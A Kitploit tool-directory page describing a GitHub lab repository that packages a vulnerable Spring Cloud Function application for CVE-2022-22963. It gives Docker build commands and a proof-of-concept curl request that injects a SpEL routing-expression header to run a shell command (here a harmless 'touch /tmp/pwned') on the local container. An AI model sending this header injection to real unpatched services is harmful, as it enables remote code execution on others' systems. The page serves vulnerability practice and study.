Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-22963 — Spring Cloud Function Vulnerable Application / CVE-2022-22963 | Kitploit
Tools/GitHubGitHub/me2nuk/cve-2022-22963
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubme2nuk/cve-2022-22963

CVE-2022-22963

Spring Cloud Function Vulnerable Application / CVE-2022-22963

View Repository
1924 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Spring Cloud Function Vulnerability(CVE-2022-22963)

Vulnerable Application to CVE-2022-22963

CVE-2022-22963 Exploit Demo

https://user-images.githubusercontent.com/57348147/161266562-51d025f0-54d4-488f-ac50-2317e29bfbdf.mp4

Build

root@kitploit:~
docker pull me2nuk/cves:2022-22963
docker run -it -p 8080:8080 --name=vuln me2nuk/cves:2022-22963

POC

root@kitploit:~
curl -X POST  http://0.0.0.0:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")' --data-raw 'data' -v
docker exec -it --user=root vuln ls /tmp

Reference

  • https://tanzu.vmware.com/security/cve-2022-22963
Download Tool
  • https://github.com/hktalent/spring-spel-0day-poc/blob/main/README.md
  • https://github.com/spring-cloud/spring-cloud-function
  • https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/